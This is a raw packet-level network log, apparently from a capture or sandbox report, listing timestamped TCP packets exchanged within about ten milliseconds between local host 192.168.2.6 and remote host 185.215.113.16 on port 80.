Oct 24, 2024 11:02:47.247903109 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247915983 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247926950 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247930050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247945070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247967958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247989893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248004913 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248017073 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248028040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248040915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248045921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248054981 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248065948 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248066902 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248080015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248090029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248100996 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248115063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248115063 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248142958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248162031 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248728037 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248780012 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248819113 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248831034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248842955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248856068 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248867035 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248868942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248883009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248894930 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248914003 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248936892 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248940945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.248950958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248963118 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248974085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248985052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.248992920 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249001026 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249022007 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249041080 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249474049 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249485970 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249499083 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249526978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249535084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249548912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249552965 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249583960 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249778032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249790907 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249804974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249828100 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249845982 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249864101 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249876976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249888897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249898911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249910116 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249911070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249928951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249933004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249947071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249958038 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249959946 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249973059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.249977112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.249988079 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250005007 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.250032902 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.250065088 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250077009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250088930 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250101089 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250112057 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.250127077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.250154972 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.250660896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250708103 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.250782967 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250796080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250829935 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.250845909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250859022 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250869989 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250883102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250890017 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.250917912 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.250965118 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250977039 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.250988960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251000881 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251013041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251018047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251024961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251038074 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251038074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251049995 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251059055 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251069069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251089096 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251090050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251101971 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251117945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251147985 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251713991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251725912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251739025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251763105 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251785040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251789093 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251799107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251811981 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251823902 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251825094 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251853943 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251879930 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251888037 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251899958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251912117 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251924992 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251934052 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251940966 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251949072 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.251955032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251976013 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251986980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.251992941 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252001047 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252012014 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252012968 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252038002 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252063990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252681017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252731085 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252768040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252779961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252794027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252804995 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252815008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252816916 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252830029 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252842903 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252846003 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252862930 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252882957 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252882957 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252898932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252909899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252921104 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252924919 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252933979 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252942085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252950907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252979994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.252980947 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.252995968 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253009081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253021002 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.253050089 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.253761053 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253774881 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253786087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253798008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253806114 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.253812075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253834963 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.253844023 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253856897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253863096 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.253869057 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253880024 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253890991 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.253891945 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253906012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.253916979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.253935099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254328012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254339933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254352093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254364967 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254370928 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254378080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254390955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254400015 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254427910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254782915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254826069 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254837990 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254851103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254873991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254880905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254894018 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254897118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254908085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254916906 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254920006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254935980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.254935980 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254957914 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254982948 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.254992962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255006075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255017042 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255028963 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255029917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255043030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255049944 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255054951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255079985 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255088091 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255098104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255099058 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255116940 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255126953 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255148888 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255629063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255673885 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255681992 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255693913 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255719900 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255736113 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255747080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255759954 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255784988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255784988 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255800962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255804062 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255815029 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255824089 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255827904 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255841017 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255861044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255897999 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255909920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255923033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255939960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255942106 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255959988 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255963087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255975962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.255987883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.255990028 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256011009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256016016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256023884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256042957 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256093979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256516933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256561995 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256566048 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256578922 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256614923 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256625891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256638050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256649017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256663084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256665945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256676912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256684065 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256688118 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256700993 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256716967 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256743908 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256777048 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256788969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256802082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256813049 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256824017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256827116 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256836891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256845951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256850004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.256861925 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.256889105 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257456064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257469893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257482052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257502079 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257519960 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257539988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257550955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257561922 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257574081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257577896 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257596016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257617950 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257622004 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257641077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257652998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257657051 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257664919 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257678032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257678986 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257699013 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257724047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257759094 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257771969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257781982 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257793903 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257806063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257808924 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257817984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257833958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257857084 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257869959 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257883072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257895947 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257909060 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257917881 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257930040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257936954 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257941961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257956028 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257963896 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257976055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.257977962 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.257989883 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258006096 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258022070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258085012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258097887 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258109093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258122921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258130074 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258137941 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258147955 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258151054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258163929 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258176088 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258203983 CEST	49854	80	192.168.2.6	185.215.113.16
